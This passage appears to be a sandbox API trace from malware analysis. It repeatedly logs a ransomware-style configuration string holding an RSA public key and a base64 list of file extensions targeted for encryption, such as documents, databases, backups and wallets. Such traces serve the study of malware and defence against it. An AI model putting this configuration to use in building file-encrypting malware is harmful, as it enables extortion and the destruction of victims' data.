YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.406] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.407] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.407] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1p